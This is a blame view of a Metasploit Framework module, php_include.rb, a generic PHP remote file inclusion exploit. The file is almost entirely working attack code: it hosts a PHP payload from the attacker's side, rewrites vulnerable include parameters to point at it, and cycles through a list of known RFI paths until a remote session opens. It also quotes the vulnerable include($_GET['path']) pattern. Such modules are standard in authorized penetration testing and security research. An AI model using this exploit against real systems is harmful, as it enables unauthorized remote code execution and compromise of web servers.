Files
metasploit-gs/modules/exploits/unix/webapp/php_include.rb
T

141 lines
3.9 KiB
Ruby
Raw Normal View History

##
2008-03-04 07:34:26 +00:00
# $Id$
##
##
2010-02-15 17:59:54 +00:00
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
2006-12-17 07:57:51 +00:00
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2010-02-15 17:59:54 +00:00
Rank = ExcellentRanking
2006-12-17 07:57:51 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
2006-12-17 07:57:51 +00:00
def initialize(info = {})
2010-02-15 17:59:54 +00:00
super(update_info(info,
'Name' => 'PHP Remote File Include Generic Exploit',
2006-12-17 07:57:51 +00:00
'Description' => %q{
This module can be used to exploit any generic PHP file include vulnerability,
where the application includes code like the following:
2010-02-15 17:59:54 +00:00
<?php include($_GET['path']); ?>
2006-12-17 07:57:51 +00:00
},
'Author' => [ 'hdm' , 'egypt' ],
2006-12-17 07:57:51 +00:00
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [ ],
2006-12-17 07:57:51 +00:00
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
2010-02-15 17:59:54 +00:00
'Compat' =>
{
'ConnectionType' => 'find',
},
2010-06-02 05:04:24 +00:00
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
2006-12-17 07:57:51 +00:00
},
2010-02-15 17:59:54 +00:00
'DefaultOptions' =>
{
'WfsDelay' => 30
2010-02-15 17:59:54 +00:00
},
2006-12-17 07:57:51 +00:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
2010-02-15 17:59:54 +00:00
register_options([
OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
])
], self.class)
2006-12-17 07:57:51 +00:00
end
2010-02-15 17:59:54 +00:00
def check
uri = datastore['PHPURI'] ? datastore['PHPURI'].dup : ""
2010-02-15 17:59:54 +00:00
if(uri and ! uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri})
if response.code == 200
return Exploit::CheckCode::Detected
end
print_error("Server responded with #{response.code}")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
2008-03-04 07:34:26 +00:00
2006-12-17 07:57:51 +00:00
def php_exploit
2010-02-15 17:59:54 +00:00
uris = []
2010-02-16 05:24:31 +00:00
tpath = datastore['PATH']
if tpath[-1,1] == '/'
tpath = tpath.chop
end
2010-02-15 17:59:54 +00:00
# PHPURI overrides the PHPRFIDB list
if (datastore['PHPURI'] and not datastore['PHPURI'].empty?)
uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
else
print_status("Loading RFI URLs from the database...")
::File.open(datastore['PHPRFIDB'], "rb") do |fd|
fd.read(fd.stat.size).split(/\n/).each do |line|
line.strip!
next if line.empty?
next if line =~ /^#/
next if line !~ /^\//
uris << line.gsub('XXpathXX',
Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
)
end
end
uris.uniq!
print_status("Loaded #{uris.length} URLs")
end
# Very short timeout because the request may never return if we're
2008-03-04 07:34:26 +00:00
# sending a socket payload
timeout = 0.01
2010-02-15 17:59:54 +00:00
# We can't make this parallel without breaking PHP findsock
# Findsock payloads cause this loop to run slowly
uris.each do |uri|
break if session_created?
2008-03-04 07:34:26 +00:00
# print_status("Sending #{tpath+uri}")
2010-02-15 17:59:54 +00:00
begin
response = send_request_raw( {
'global' => true,
2010-02-16 05:24:31 +00:00
'uri' => tpath+uri,
2010-02-15 17:59:54 +00:00
}, timeout)
handler
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
break
2010-09-25 03:14:21 +00:00
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
2010-09-25 03:14:21 +00:00
break
rescue ::Exception => e
print_error("Exception #{e.class} #{e}")
2010-02-15 17:59:54 +00:00
end
end
end
end